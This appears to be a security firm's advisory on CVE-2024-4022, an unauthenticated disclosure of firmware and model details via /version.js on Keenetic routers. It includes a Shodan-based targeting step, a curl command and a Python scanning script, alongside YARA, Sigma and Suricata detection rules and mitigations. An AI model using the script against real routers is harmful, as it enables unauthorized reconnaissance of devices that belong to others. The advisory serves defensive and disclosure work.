CVE-2024-4022

Executive Summary

CVE-2024-4022 is a problematic information disclosure vulnerability affecting multiple Keenetic router models (KN-1010, KN-1410, KN-1711, KN-1810, KN-1910) running firmware up to version 4.1.2.15. The flaw resides in the /version.js file, which is part of the Version Data Handler component. An unauthenticated remote attacker can exploit this to disclose sensitive device information, such as firmware version, hardware model, and potentially other system details. The vulnerability has a CVSS score of 5.3 (Medium) and a public proof-of-concept (PoC) is available. The vendor is aware and plans to patch by the end of 2024, but no official fix is currently released.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact is confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited information disclosure.
• Integrity Impact: None (I:N) – no data modification.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. While the vulnerability only leads to information disclosure, the exposed data (firmware version, model) can be used to identify other potential vulnerabilities or tailor attacks. The public PoC increases the risk of exploitation.

Deep Dive & Mechanics

The vulnerability is a classic case of information disclosure via an unprotected static file. The /version.js file is served by the Keenetic router's web interface without any authentication checks. This file contains JavaScript that exposes the device's firmware version, hardware model, and possibly other configuration details.

Root Cause: The web server does not enforce access control on the /version.js endpoint. Any unauthenticated HTTP request to this path returns the file contents.

Attack Flow:

1. An attacker scans for Keenetic routers on the internet (e.g., using Shodan dorks).
2. The attacker sends a simple GET request to http://<router-ip>/version.js.
3. The router responds with the file content, revealing sensitive information.

Example Response:

var firmware_version = "4.1.2.15";
var hardware_model = "KN-1810";
var build_date = "2024-03-15";

This information can be used to:

• Identify outdated firmware for targeted exploitation.
• Fingerprint the device for further attacks (e.g., known CVEs for that firmware version).
• Plan social engineering or supply chain attacks.

Vulnerable vs. Patched Code

Vulnerable Code (firmware <= 4.1.2.15): The /version.js file is served without any authentication or authorization checks. The web server configuration likely includes a static file handler that does not restrict access.

Patched Code (expected in future firmware): The vendor plans to either:

• Remove the /version.js file entirely.
• Require authentication to access it.
• Move the version data to an authenticated API endpoint.

Since no official patch is available, the exact patched code is unknown. However, a typical fix would involve adding an access control check in the web server configuration or the application logic.

Example of a potential fix (pseudo-configuration):

location /version.js {
    deny all;
    return 403;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Keenetic router (KN-1010, KN-1410, KN-1711, KN-1810, or KN-1910) with firmware <= 4.1.2.15.
• Network access to the router's web interface (port 80 or 443).

Exploitation Steps:

1. Identify the target router's IP address (e.g., via Shodan or local network scan).
2. Send a GET request to the /version.js endpoint:

   curl http://<target-ip>/version.js
   

3. Parse the response to extract firmware version, hardware model, and other details.

Example Output:

var firmware_version = "4.1.2.15";
var hardware_model = "KN-1810";
var build_date = "2024-03-15";

Automation Script (Python):

import requests
import sys

def exploit(target_ip):
    url = f"http://{target_ip}/version.js"
    try:
        response = requests.get(url, timeout=5)
        if response.status_code == 200:
            print("[+] Successfully retrieved version.js")
            print(response.text)
        else:
            print(f"[-] Unexpected status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python exploit.py <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP requests to /version.js from external IPs.
• Alert on any unauthenticated access to this endpoint.

Defense:

• Block external access to the router's web interface (use firewall rules).
• If remote management is required, use VPN or restrict access to trusted IPs.
• Apply vendor patch as soon as it becomes available.

Honeypot Simulation:

• Deploy a fake /version.js endpoint that returns decoy data to detect scanning activity.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /version.js on port 80/443.
  • User-Agent strings commonly used by scanners (e.g., curl, python-requests).
• File IOCs:
  • Presence of /version.js file on the router (legitimate but exposed).
• Behavioral IOCs:
  • Unauthorized access attempts to the router's web interface from external IPs.

Detection Engineering

YARA Rule

rule CVE_2024_4022_Keenetic_Info_Disclosure {
    meta:
        description = "Detects attempts to exploit CVE-2024-4022 by accessing /version.js"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-4022"
    strings:
        $version_js = "/version.js"
        $firmware_var = "firmware_version"
        $model_var = "hardware_model"
    condition:
        any of them
}

Sigma Rule

title: Keenetic Router Information Disclosure via /version.js
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP GET requests to /version.js on Keenetic routers
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/version.js'
    condition: selection
falsepositives:
    - Legitimate administrative access (if authenticated)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4022 Keenetic Router Information Disclosure"; flow:to_server; content:"GET"; http_method; content:"/version.js"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Restrict Access: Block external access to the router's web interface using firewall rules. Only allow management from trusted internal networks.
2. Disable Remote Management: If not required, disable remote web access entirely.
3. Monitor Logs: Check router logs for unauthorized access attempts to /version.js.

Long-Term Remediation:

1. Apply Vendor Patch: Once Keenetic releases a firmware update (expected by end of 2024), apply it immediately.
2. Upgrade Firmware: Regularly check for and install the latest firmware from Keenetic.
3. Network Segmentation: Place IoT devices like routers on a separate VLAN to limit exposure.

Workaround (if patching is delayed):

• Use a reverse proxy (e.g., Nginx) in front of the router to block access to /version.js:

  location /version.js {
      deny all;
      return 403;
  }
  

Valters IT
Securing Digital Frontiers